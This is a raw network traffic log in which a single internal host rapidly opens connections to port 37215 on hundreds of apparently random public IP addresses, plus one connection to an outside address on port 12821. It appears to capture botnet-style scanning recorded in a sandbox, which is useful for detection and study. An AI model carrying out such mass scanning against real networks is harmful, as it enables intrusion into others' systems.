Jan 1, 2024 12:51:57.024231911 CET	37751	37215	192.168.2.13	156.226.133.113
Jan 1, 2024 12:51:57.024231911 CET	37751	37215	192.168.2.13	156.4.171.233
Jan 1, 2024 12:51:57.024231911 CET	37751	37215	192.168.2.13	197.81.32.115
Jan 1, 2024 12:51:57.024231911 CET	37751	37215	192.168.2.13	197.136.42.14
Jan 1, 2024 12:51:57.024231911 CET	37751	37215	192.168.2.13	41.145.215.144
Jan 1, 2024 12:51:57.024231911 CET	37751	37215	192.168.2.13	41.174.183.108
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	156.40.5.226
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	197.217.52.199
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	222.95.163.113
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	197.77.84.223
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	45.90.157.146
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	156.127.54.230
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	41.178.110.236
Jan 1, 2024 12:51:57.024255037 CET	37751	37215	192.168.2.13	197.161.163.108
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	94.201.65.38
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	156.73.181.91
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	190.22.4.13
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	197.87.1.245
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	120.246.163.247
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	156.198.40.50
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	41.88.211.99
Jan 1, 2024 12:51:57.024281979 CET	37751	37215	192.168.2.13	156.37.188.179
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	190.19.73.39
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	120.79.238.55
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	120.40.128.78
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	41.48.246.133
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	37.164.2.179
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	41.155.98.40
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	160.128.91.228
Jan 1, 2024 12:51:57.024287939 CET	37751	37215	192.168.2.13	156.104.212.16
Jan 1, 2024 12:51:57.024288893 CET	37751	37215	192.168.2.13	156.124.92.100
Jan 1, 2024 12:51:57.024288893 CET	37751	37215	192.168.2.13	197.72.169.186
Jan 1, 2024 12:51:57.024288893 CET	37751	37215	192.168.2.13	197.149.15.73
Jan 1, 2024 12:51:57.024290085 CET	37751	37215	192.168.2.13	41.125.75.230
Jan 1, 2024 12:51:57.024290085 CET	37751	37215	192.168.2.13	156.174.73.119
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	160.24.199.47
Jan 1, 2024 12:51:57.024290085 CET	37751	37215	192.168.2.13	41.216.35.136
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	41.225.21.53
Jan 1, 2024 12:51:57.024290085 CET	37751	37215	192.168.2.13	107.211.52.129
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	197.108.22.176
Jan 1, 2024 12:51:57.024290085 CET	37751	37215	192.168.2.13	197.205.233.188
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	41.67.191.175
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	181.6.194.57
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	197.193.246.196
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	37.74.8.216
Jan 1, 2024 12:51:57.024291039 CET	37751	37215	192.168.2.13	41.68.231.216
Jan 1, 2024 12:51:57.024341106 CET	37751	37215	192.168.2.13	156.9.152.97
Jan 1, 2024 12:51:57.024341106 CET	37751	37215	192.168.2.13	197.204.246.90
Jan 1, 2024 12:51:57.024341106 CET	37751	37215	192.168.2.13	41.164.238.160
Jan 1, 2024 12:51:57.024341106 CET	37751	37215	192.168.2.13	41.251.168.219
Jan 1, 2024 12:51:57.024341106 CET	37751	37215	192.168.2.13	154.130.43.4
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	41.129.186.111
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	45.223.195.103
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	196.159.67.134
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	156.23.34.196
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	41.126.37.67
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	120.246.187.135
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	41.126.199.165
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	197.205.167.189
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	41.133.190.165
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	41.159.58.58
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	190.46.132.26
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	181.132.129.178
Jan 1, 2024 12:51:57.024355888 CET	37751	37215	192.168.2.13	156.128.137.10
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	37.83.250.95
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	197.30.248.84
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	41.118.144.241
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	121.200.227.232
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	107.54.158.26
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	45.168.221.140
Jan 1, 2024 12:51:57.024370909 CET	37751	37215	192.168.2.13	45.195.61.60
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	197.60.66.90
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	94.220.91.181
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	120.173.227.142
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	197.102.141.165
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	45.45.158.240
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	186.14.23.75
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	197.212.15.131
Jan 1, 2024 12:51:57.024383068 CET	37751	37215	192.168.2.13	41.24.219.157
Jan 1, 2024 12:51:57.024400949 CET	37751	37215	192.168.2.13	41.242.67.98
Jan 1, 2024 12:51:57.024414062 CET	37751	37215	192.168.2.13	156.65.28.71
Jan 1, 2024 12:51:57.024414062 CET	37751	37215	192.168.2.13	156.85.149.141
Jan 1, 2024 12:51:57.024414062 CET	37751	37215	192.168.2.13	156.63.136.158
Jan 1, 2024 12:51:57.024414062 CET	37751	37215	192.168.2.13	156.79.179.82
Jan 1, 2024 12:51:57.024449110 CET	37751	37215	192.168.2.13	197.210.131.22
Jan 1, 2024 12:51:57.024449110 CET	37751	37215	192.168.2.13	156.246.13.126
Jan 1, 2024 12:51:57.024449110 CET	37751	37215	192.168.2.13	41.183.182.159
Jan 1, 2024 12:51:57.024449110 CET	37751	37215	192.168.2.13	156.220.145.208
Jan 1, 2024 12:51:57.024450064 CET	37751	37215	192.168.2.13	197.197.46.69
Jan 1, 2024 12:51:57.024450064 CET	37751	37215	192.168.2.13	156.48.187.189
Jan 1, 2024 12:51:57.024450064 CET	37751	37215	192.168.2.13	154.57.155.84
Jan 1, 2024 12:51:57.024450064 CET	37751	37215	192.168.2.13	41.165.104.45
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	197.117.145.84
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	156.144.73.114
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	156.43.61.175
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	41.175.220.216
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	197.107.183.176
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	156.138.118.67
Jan 1, 2024 12:51:57.024461985 CET	37751	37215	192.168.2.13	41.61.19.133
Jan 1, 2024 12:51:57.024476051 CET	37751	37215	192.168.2.13	197.208.164.100
Jan 1, 2024 12:51:57.024476051 CET	37751	37215	192.168.2.13	197.10.53.60
Jan 1, 2024 12:51:57.024476051 CET	37751	37215	192.168.2.13	138.144.210.189
Jan 1, 2024 12:51:57.024476051 CET	37751	37215	192.168.2.13	121.23.5.43
Jan 1, 2024 12:51:57.024476051 CET	37751	37215	192.168.2.13	41.243.26.239
Jan 1, 2024 12:51:57.024476051 CET	37751	37215	192.168.2.13	197.24.206.28
Jan 1, 2024 12:51:57.024477005 CET	37751	37215	192.168.2.13	120.91.111.34
Jan 1, 2024 12:51:57.024477005 CET	37751	37215	192.168.2.13	197.118.44.120
Jan 1, 2024 12:51:57.052671909 CET	52370	37215	192.168.2.13	156.73.7.47
Jan 1, 2024 12:51:57.052675009 CET	55568	37215	192.168.2.13	156.73.193.222
Jan 1, 2024 12:51:57.052685022 CET	37500	37215	192.168.2.13	156.73.200.226
Jan 1, 2024 12:51:57.193269014 CET	37215	37751	156.73.181.91	192.168.2.13
Jan 1, 2024 12:51:57.193321943 CET	37751	37215	192.168.2.13	156.73.181.91
Jan 1, 2024 12:51:57.304960012 CET	37215	37751	95.8.0.172	192.168.2.13
Jan 1, 2024 12:51:57.307465076 CET	37215	37751	45.168.221.140	192.168.2.13
Jan 1, 2024 12:51:57.311914921 CET	37215	37751	181.221.250.170	192.168.2.13
Jan 1, 2024 12:51:57.323054075 CET	37215	37751	190.19.73.39	192.168.2.13
Jan 1, 2024 12:51:57.329720974 CET	37215	37751	156.220.158.32	192.168.2.13
Jan 1, 2024 12:51:57.329776049 CET	37751	37215	192.168.2.13	156.220.158.32
Jan 1, 2024 12:51:57.332993984 CET	37215	37751	156.244.102.6	192.168.2.13
Jan 1, 2024 12:51:57.351675034 CET	37215	37751	156.232.204.34	192.168.2.13
Jan 1, 2024 12:51:57.436666012 CET	48202	443	192.168.2.13	185.125.190.26
Jan 1, 2024 12:51:57.446811914 CET	37215	37751	41.85.24.105	192.168.2.13
Jan 1, 2024 12:51:57.461061954 CET	37215	37751	41.174.23.104	192.168.2.13
Jan 1, 2024 12:51:57.461831093 CET	37215	37751	222.74.23.194	192.168.2.13
Jan 1, 2024 12:51:57.960808992 CET	51332	12821	192.168.2.13	89.190.156.5
Jan 1, 2024 12:51:58.024688959 CET	37751	37215	192.168.2.13	41.248.74.176
Jan 1, 2024 12:51:58.024688959 CET	37751	37215	192.168.2.13	41.13.22.193
Jan 1, 2024 12:51:58.024696112 CET	37751	37215	192.168.2.13	197.160.188.3
Jan 1, 2024 12:51:58.024696112 CET	37751	37215	192.168.2.13	156.175.94.192
Jan 1, 2024 12:51:58.024696112 CET	37751	37215	192.168.2.13	181.198.91.18
Jan 1, 2024 12:51:58.024712086 CET	37751	37215	192.168.2.13	197.121.171.143
Jan 1, 2024 12:51:58.024712086 CET	37751	37215	192.168.2.13	157.80.161.78
Jan 1, 2024 12:51:58.024715900 CET	37751	37215	192.168.2.13	156.93.33.73
Jan 1, 2024 12:51:58.024715900 CET	37751	37215	192.168.2.13	197.8.149.215
Jan 1, 2024 12:51:58.024730921 CET	37751	37215	192.168.2.13	222.214.219.62
Jan 1, 2024 12:51:58.024730921 CET	37751	37215	192.168.2.13	160.121.20.71
Jan 1, 2024 12:51:58.024732113 CET	37751	37215	192.168.2.13	107.243.36.50
Jan 1, 2024 12:51:58.024730921 CET	37751	37215	192.168.2.13	156.136.143.72
Jan 1, 2024 12:51:58.024730921 CET	37751	37215	192.168.2.13	41.168.191.219
Jan 1, 2024 12:51:58.024734974 CET	37751	37215	192.168.2.13	102.246.165.8
Jan 1, 2024 12:51:58.024748087 CET	37751	37215	192.168.2.13	94.146.28.62
Jan 1, 2024 12:51:58.024753094 CET	37751	37215	192.168.2.13	156.148.118.103
Jan 1, 2024 12:51:58.024753094 CET	37751	37215	192.168.2.13	181.233.100.123
Jan 1, 2024 12:51:58.024755955 CET	37751	37215	192.168.2.13	41.175.193.198
Jan 1, 2024 12:51:58.024765968 CET	37751	37215	192.168.2.13	121.208.55.207
Jan 1, 2024 12:51:58.024770021 CET	37751	37215	192.168.2.13	156.16.53.93
Jan 1, 2024 12:51:58.024780035 CET	37751	37215	192.168.2.13	41.73.97.212
Jan 1, 2024 12:51:58.024779081 CET	37751	37215	192.168.2.13	41.252.140.28
Jan 1, 2024 12:51:58.024780035 CET	37751	37215	192.168.2.13	197.65.184.255
Jan 1, 2024 12:51:58.024780035 CET	37751	37215	192.168.2.13	41.186.137.8
Jan 1, 2024 12:51:58.024785042 CET	37751	37215	192.168.2.13	41.184.126.141
Jan 1, 2024 12:51:58.024785042 CET	37751	37215	192.168.2.13	197.133.104.221
Jan 1, 2024 12:51:58.024789095 CET	37751	37215	192.168.2.13	197.41.36.15
Jan 1, 2024 12:51:58.024799109 CET	37751	37215	192.168.2.13	154.185.181.113
Jan 1, 2024 12:51:58.024801970 CET	37751	37215	192.168.2.13	197.53.237.253
Jan 1, 2024 12:51:58.024801970 CET	37751	37215	192.168.2.13	157.141.62.142
Jan 1, 2024 12:51:58.024806023 CET	37751	37215	192.168.2.13	156.38.131.140
Jan 1, 2024 12:51:58.024812937 CET	37751	37215	192.168.2.13	120.150.250.149
Jan 1, 2024 12:51:58.024817944 CET	37751	37215	192.168.2.13	197.24.26.217
Jan 1, 2024 12:51:58.024821043 CET	37751	37215	192.168.2.13	95.240.10.254
Jan 1, 2024 12:51:58.024821043 CET	37751	37215	192.168.2.13	197.203.219.135
Jan 1, 2024 12:51:58.024827003 CET	37751	37215	192.168.2.13	156.193.228.37
Jan 1, 2024 12:51:58.024827957 CET	37751	37215	192.168.2.13	107.254.119.241
Jan 1, 2024 12:51:58.024827957 CET	37751	37215	192.168.2.13	41.130.145.202
Jan 1, 2024 12:51:58.024827957 CET	37751	37215	192.168.2.13	37.58.53.113
Jan 1, 2024 12:51:58.024832964 CET	37751	37215	192.168.2.13	41.118.206.223
Jan 1, 2024 12:51:58.024833918 CET	37751	37215	192.168.2.13	156.128.242.248
Jan 1, 2024 12:51:58.024842978 CET	37751	37215	192.168.2.13	181.254.102.32
Jan 1, 2024 12:51:58.024842978 CET	37751	37215	192.168.2.13	138.13.206.5
Jan 1, 2024 12:51:58.024842978 CET	37751	37215	192.168.2.13	156.114.65.106
Jan 1, 2024 12:51:58.024852991 CET	37751	37215	192.168.2.13	181.75.128.56
Jan 1, 2024 12:51:58.024852991 CET	37751	37215	192.168.2.13	95.147.4.89
Jan 1, 2024 12:51:58.024853945 CET	37751	37215	192.168.2.13	41.134.158.193
Jan 1, 2024 12:51:58.024854898 CET	37751	37215	192.168.2.13	197.20.239.234
Jan 1, 2024 12:51:58.024854898 CET	37751	37215	192.168.2.13	41.174.185.117
Jan 1, 2024 12:51:58.024857998 CET	37751	37215	192.168.2.13	190.180.132.139
Jan 1, 2024 12:51:58.024857998 CET	37751	37215	192.168.2.13	94.171.142.183
Jan 1, 2024 12:51:58.024861097 CET	37751	37215	192.168.2.13	156.5.76.205
Jan 1, 2024 12:51:58.024862051 CET	37751	37215	192.168.2.13	156.204.196.22
Jan 1, 2024 12:51:58.024862051 CET	37751	37215	192.168.2.13	95.205.143.68
Jan 1, 2024 12:51:58.024864912 CET	37751	37215	192.168.2.13	197.28.147.212
Jan 1, 2024 12:51:58.024866104 CET	37751	37215	192.168.2.13	122.56.35.251
Jan 1, 2024 12:51:58.024866104 CET	37751	37215	192.168.2.13	102.1.157.233
Jan 1, 2024 12:51:58.024873018 CET	37751	37215	192.168.2.13	197.96.65.199
Jan 1, 2024 12:51:58.024873018 CET	37751	37215	192.168.2.13	181.188.125.82
Jan 1, 2024 12:51:58.024876118 CET	37751	37215	192.168.2.13	45.59.247.110
Jan 1, 2024 12:51:58.024877071 CET	37751	37215	192.168.2.13	197.205.31.234
Jan 1, 2024 12:51:58.024877071 CET	37751	37215	192.168.2.13	197.130.55.108
Jan 1, 2024 12:51:58.024878979 CET	37751	37215	192.168.2.13	156.112.211.195
Jan 1, 2024 12:51:58.024883986 CET	37751	37215	192.168.2.13	138.190.87.142
Jan 1, 2024 12:51:58.024883986 CET	37751	37215	192.168.2.13	156.188.163.49
Jan 1, 2024 12:51:58.024893999 CET	37751	37215	192.168.2.13	190.206.33.157
Jan 1, 2024 12:51:58.024894953 CET	37751	37215	192.168.2.13	41.102.49.20
Jan 1, 2024 12:51:58.024894953 CET	37751	37215	192.168.2.13	121.88.214.164
Jan 1, 2024 12:51:58.024898052 CET	37751	37215	192.168.2.13	156.25.118.196
Jan 1, 2024 12:51:58.024898052 CET	37751	37215	192.168.2.13	41.149.250.79
Jan 1, 2024 12:51:58.024914026 CET	37751	37215	192.168.2.13	197.106.207.122
Jan 1, 2024 12:51:58.024914026 CET	37751	37215	192.168.2.13	156.169.29.214
Jan 1, 2024 12:51:58.024914980 CET	37751	37215	192.168.2.13	160.100.124.77
Jan 1, 2024 12:51:58.024920940 CET	37751	37215	192.168.2.13	197.215.199.177
Jan 1, 2024 12:51:58.024921894 CET	37751	37215	192.168.2.13	156.232.88.134
Jan 1, 2024 12:51:58.024944067 CET	37751	37215	192.168.2.13	197.110.60.72
Jan 1, 2024 12:51:58.024945021 CET	37751	37215	192.168.2.13	45.73.234.229
Jan 1, 2024 12:51:58.024944067 CET	37751	37215	192.168.2.13	190.218.239.23
Jan 1, 2024 12:51:58.024945021 CET	37751	37215	192.168.2.13	41.168.216.77
Jan 1, 2024 12:51:58.024944067 CET	37751	37215	192.168.2.13	197.86.226.8
Jan 1, 2024 12:51:58.024947882 CET	37751	37215	192.168.2.13	154.102.203.248
Jan 1, 2024 12:51:58.024945021 CET	37751	37215	192.168.2.13	156.70.48.134
Jan 1, 2024 12:51:58.024946928 CET	37751	37215	192.168.2.13	156.209.245.240
Jan 1, 2024 12:51:58.024945021 CET	37751	37215	192.168.2.13	157.182.31.205
Jan 1, 2024 12:51:58.024947882 CET	37751	37215	192.168.2.13	197.184.99.254
Jan 1, 2024 12:51:58.024971008 CET	37751	37215	192.168.2.13	37.168.138.29
Jan 1, 2024 12:51:58.024971008 CET	37751	37215	192.168.2.13	197.42.36.93
Jan 1, 2024 12:51:58.024974108 CET	37751	37215	192.168.2.13	197.191.166.162
Jan 1, 2024 12:51:58.024981976 CET	37751	37215	192.168.2.13	156.213.244.215
Jan 1, 2024 12:51:58.024983883 CET	37751	37215	192.168.2.13	41.248.214.68
Jan 1, 2024 12:51:58.024983883 CET	37751	37215	192.168.2.13	154.119.119.25
Jan 1, 2024 12:51:58.024986029 CET	37751	37215	192.168.2.13	45.75.19.223
Jan 1, 2024 12:51:58.024988890 CET	37751	37215	192.168.2.13	154.203.119.43
Jan 1, 2024 12:51:58.024988890 CET	37751	37215	192.168.2.13	45.83.178.132
Jan 1, 2024 12:51:58.024990082 CET	37751	37215	192.168.2.13	41.57.69.183
Jan 1, 2024 12:51:58.024996996 CET	37751	37215	192.168.2.13	197.6.158.43
Jan 1, 2024 12:51:58.024996996 CET	37751	37215	192.168.2.13	197.137.84.74
Jan 1, 2024 12:51:58.024997950 CET	37751	37215	192.168.2.13	156.39.83.130
Jan 1, 2024 12:51:58.024997950 CET	37751	37215	192.168.2.13	197.19.35.167
Jan 1, 2024 12:51:58.024997950 CET	37751	37215	192.168.2.13	138.16.203.205
Jan 1, 2024 12:51:58.025002003 CET	37751	37215	192.168.2.13	197.98.167.102
Jan 1, 2024 12:51:58.025003910 CET	37751	37215	192.168.2.13	37.210.251.154
Jan 1, 2024 12:51:58.025016069 CET	37751	37215	192.168.2.13	41.173.168.41
Jan 1, 2024 12:51:58.025023937 CET	37751	37215	192.168.2.13	156.201.131.204
Jan 1, 2024 12:51:58.025023937 CET	37751	37215	192.168.2.13	41.193.106.41
Jan 1, 2024 12:51:58.025023937 CET	37751	37215	192.168.2.13	120.152.160.184
Jan 1, 2024 12:51:58.025023937 CET	37751	37215	192.168.2.13	156.162.122.69
Jan 1, 2024 12:51:58.025023937 CET	37751	37215	192.168.2.13	41.133.53.50
Jan 1, 2024 12:51:58.025026083 CET	37751	37215	192.168.2.13	41.186.223.148
Jan 1, 2024 12:51:58.025027037 CET	37751	37215	192.168.2.13	37.127.159.153
Jan 1, 2024 12:51:58.025031090 CET	37751	37215	192.168.2.13	160.138.223.231
Jan 1, 2024 12:51:58.025026083 CET	37751	37215	192.168.2.13	197.221.77.157
Jan 1, 2024 12:51:58.025032997 CET	37751	37215	192.168.2.13	197.140.150.193
Jan 1, 2024 12:51:58.025024891 CET	37751	37215	192.168.2.13	197.20.120.169
Jan 1, 2024 12:51:58.025048018 CET	37751	37215	192.168.2.13	197.106.30.195
Jan 1, 2024 12:51:58.025052071 CET	37751	37215	192.168.2.13	94.149.54.242
Jan 1, 2024 12:51:58.025052071 CET	37751	37215	192.168.2.13	122.55.33.12
Jan 1, 2024 12:51:58.025058985 CET	37751	37215	192.168.2.13	197.27.236.96
Jan 1, 2024 12:51:58.025058985 CET	37751	37215	192.168.2.13	156.116.6.207
Jan 1, 2024 12:51:58.025064945 CET	37751	37215	192.168.2.13	181.135.92.186
Jan 1, 2024 12:51:58.025077105 CET	37751	37215	192.168.2.13	138.29.144.188
Jan 1, 2024 12:51:58.025083065 CET	37751	37215	192.168.2.13	197.15.248.98
Jan 1, 2024 12:51:58.025088072 CET	37751	37215	192.168.2.13	41.88.141.127
Jan 1, 2024 12:51:58.025089025 CET	37751	37215	192.168.2.13	138.8.126.223
Jan 1, 2024 12:51:58.025089979 CET	37751	37215	192.168.2.13	196.77.139.143
Jan 1, 2024 12:51:58.025089979 CET	37751	37215	192.168.2.13	41.23.12.64
Jan 1, 2024 12:51:58.025094986 CET	37751	37215	192.168.2.13	197.181.255.6
Jan 1, 2024 12:51:58.025094986 CET	37751	37215	192.168.2.13	197.7.208.20
Jan 1, 2024 12:51:58.025110006 CET	37751	37215	192.168.2.13	197.150.28.130
Jan 1, 2024 12:51:58.025110006 CET	37751	37215	192.168.2.13	107.248.157.97
Jan 1, 2024 12:51:58.025115013 CET	37751	37215	192.168.2.13	45.21.162.112
Jan 1, 2024 12:51:58.025115013 CET	37751	37215	192.168.2.13	181.50.244.169
Jan 1, 2024 12:51:58.025120020 CET	37751	37215	192.168.2.13	41.239.159.114
Jan 1, 2024 12:51:58.025122881 CET	37751	37215	192.168.2.13	92.44.47.210
Jan 1, 2024 12:51:58.025131941 CET	37751	37215	192.168.2.13	95.226.241.39
Jan 1, 2024 12:51:58.025132895 CET	37751	37215	192.168.2.13	156.212.184.74
Jan 1, 2024 12:51:58.025137901 CET	37751	37215	192.168.2.13	41.101.142.46
Jan 1, 2024 12:51:58.025141001 CET	37751	37215	192.168.2.13	41.146.60.107
Jan 1, 2024 12:51:58.025155067 CET	37751	37215	192.168.2.13	197.121.43.110
Jan 1, 2024 12:51:58.025157928 CET	37751	37215	192.168.2.13	41.12.87.162
Jan 1, 2024 12:51:58.025163889 CET	37751	37215	192.168.2.13	160.150.36.28
Jan 1, 2024 12:51:58.025166988 CET	37751	37215	192.168.2.13	41.185.103.35
Jan 1, 2024 12:51:58.025167942 CET	37751	37215	192.168.2.13	156.102.96.250
Jan 1, 2024 12:51:58.025166988 CET	37751	37215	192.168.2.13	41.95.138.14
Jan 1, 2024 12:51:58.025171995 CET	37751	37215	192.168.2.13	120.109.8.7
Jan 1, 2024 12:51:58.025171995 CET	37751	37215	192.168.2.13	41.220.189.136
Jan 1, 2024 12:51:58.025187016 CET	37751	37215	192.168.2.13	156.231.135.17
Jan 1, 2024 12:51:58.025187016 CET	37751	37215	192.168.2.13	120.113.158.77
Jan 1, 2024 12:51:58.025188923 CET	37751	37215	192.168.2.13	41.64.53.29
Jan 1, 2024 12:51:58.025188923 CET	37751	37215	192.168.2.13	186.103.168.123
Jan 1, 2024 12:51:58.025206089 CET	37751	37215	192.168.2.13	138.39.188.15
Jan 1, 2024 12:51:58.025206089 CET	37751	37215	192.168.2.13	41.52.168.105
Jan 1, 2024 12:51:58.025207996 CET	37751	37215	192.168.2.13	156.23.178.138
Jan 1, 2024 12:51:58.025212049 CET	37751	37215	192.168.2.13	156.70.74.18
Jan 1, 2024 12:51:58.025217056 CET	37751	37215	192.168.2.13	41.237.192.249
Jan 1, 2024 12:51:58.025218010 CET	37751	37215	192.168.2.13	156.54.167.2
Jan 1, 2024 12:51:58.025221109 CET	37751	37215	192.168.2.13	197.105.204.219
Jan 1, 2024 12:51:58.025226116 CET	37751	37215	192.168.2.13	197.25.94.207
Jan 1, 2024 12:51:58.025226116 CET	37751	37215	192.168.2.13	197.71.109.28
Jan 1, 2024 12:51:58.025233984 CET	37751	37215	192.168.2.13	160.202.23.11
Jan 1, 2024 12:51:58.025240898 CET	37751	37215	192.168.2.13	156.213.121.92
Jan 1, 2024 12:51:58.025240898 CET	37751	37215	192.168.2.13	45.197.2.8
Jan 1, 2024 12:51:58.025242090 CET	37751	37215	192.168.2.13	41.29.69.203
Jan 1, 2024 12:51:58.025243998 CET	37751	37215	192.168.2.13	37.252.125.114
Jan 1, 2024 12:51:58.025247097 CET	37751	37215	192.168.2.13	160.164.40.131
Jan 1, 2024 12:51:58.025254011 CET	37751	37215	192.168.2.13	122.154.10.69
Jan 1, 2024 12:51:58.025259018 CET	37751	37215	192.168.2.13	197.195.154.195
Jan 1, 2024 12:51:58.025259972 CET	37751	37215	192.168.2.13	190.73.197.98
Jan 1, 2024 12:51:58.025268078 CET	37751	37215	192.168.2.13	41.254.66.228
Jan 1, 2024 12:51:58.025276899 CET	37751	37215	192.168.2.13	157.94.211.156
Jan 1, 2024 12:51:58.025276899 CET	37751	37215	192.168.2.13	41.50.102.88
Jan 1, 2024 12:51:58.025283098 CET	37751	37215	192.168.2.13	197.32.202.168
Jan 1, 2024 12:51:58.025295019 CET	37751	37215	192.168.2.13	156.57.114.239
Jan 1, 2024 12:51:58.025296926 CET	37751	37215	192.168.2.13	41.171.218.24
Jan 1, 2024 12:51:58.025299072 CET	37751	37215	192.168.2.13	41.251.157.37
Jan 1, 2024 12:51:58.025304079 CET	37751	37215	192.168.2.13	41.225.120.74
Jan 1, 2024 12:51:58.025304079 CET	37751	37215	192.168.2.13	156.155.22.133
Jan 1, 2024 12:51:58.025306940 CET	37751	37215	192.168.2.13	41.101.142.215
Jan 1, 2024 12:51:58.025306940 CET	37751	37215	192.168.2.13	156.223.191.129
Jan 1, 2024 12:51:58.025307894 CET	37751	37215	192.168.2.13	197.121.37.20
Jan 1, 2024 12:51:58.025307894 CET	37751	37215	192.168.2.13	107.184.165.106
Jan 1, 2024 12:51:58.025317907 CET	37751	37215	192.168.2.13	156.105.68.110
Jan 1, 2024 12:51:58.025326014 CET	37751	37215	192.168.2.13	41.249.248.34
Jan 1, 2024 12:51:58.025326014 CET	37751	37215	192.168.2.13	197.30.13.115
Jan 1, 2024 12:51:58.025327921 CET	37751	37215	192.168.2.13	138.95.78.38
Jan 1, 2024 12:51:58.025332928 CET	37751	37215	192.168.2.13	41.47.148.111
Jan 1, 2024 12:51:58.025332928 CET	37751	37215	192.168.2.13	156.85.63.226
Jan 1, 2024 12:51:58.025338888 CET	37751	37215	192.168.2.13	41.88.127.71
Jan 1, 2024 12:51:58.025338888 CET	37751	37215	192.168.2.13	156.128.252.22
Jan 1, 2024 12:51:58.025341034 CET	37751	37215	192.168.2.13	41.99.104.148
Jan 1, 2024 12:51:58.025341034 CET	37751	37215	192.168.2.13	41.228.197.135
Jan 1, 2024 12:51:58.025342941 CET	37751	37215	192.168.2.13	156.162.92.102
Jan 1, 2024 12:51:58.025345087 CET	37751	37215	192.168.2.13	197.64.36.147
Jan 1, 2024 12:51:58.025353909 CET	37751	37215	192.168.2.13	122.43.212.220
Jan 1, 2024 12:51:58.025355101 CET	37751	37215	192.168.2.13	41.54.112.186
Jan 1, 2024 12:51:58.025356054 CET	37751	37215	192.168.2.13	41.236.91.106
Jan 1, 2024 12:51:58.025357008 CET	37751	37215	192.168.2.13	197.121.33.33
Jan 1, 2024 12:51:58.025362968 CET	37751	37215	192.168.2.13	94.7.123.207
Jan 1, 2024 12:51:58.025376081 CET	37751	37215	192.168.2.13	41.93.228.242
Jan 1, 2024 12:51:58.025379896 CET	37751	37215	192.168.2.13	41.226.189.95
Jan 1, 2024 12:51:58.025382042 CET	37751	37215	192.168.2.13	41.97.88.13
Jan 1, 2024 12:51:58.025382042 CET	37751	37215	192.168.2.13	41.211.234.156
Jan 1, 2024 12:51:58.025382042 CET	37751	37215	192.168.2.13	190.214.28.118
Jan 1, 2024 12:51:58.025389910 CET	37751	37215	192.168.2.13	41.168.119.229
Jan 1, 2024 12:51:58.025398016 CET	37751	37215	192.168.2.13	156.235.255.4
Jan 1, 2024 12:51:58.025403976 CET	37751	37215	192.168.2.13	156.137.123.99
Jan 1, 2024 12:51:58.025403976 CET	37751	37215	192.168.2.13	45.42.64.252
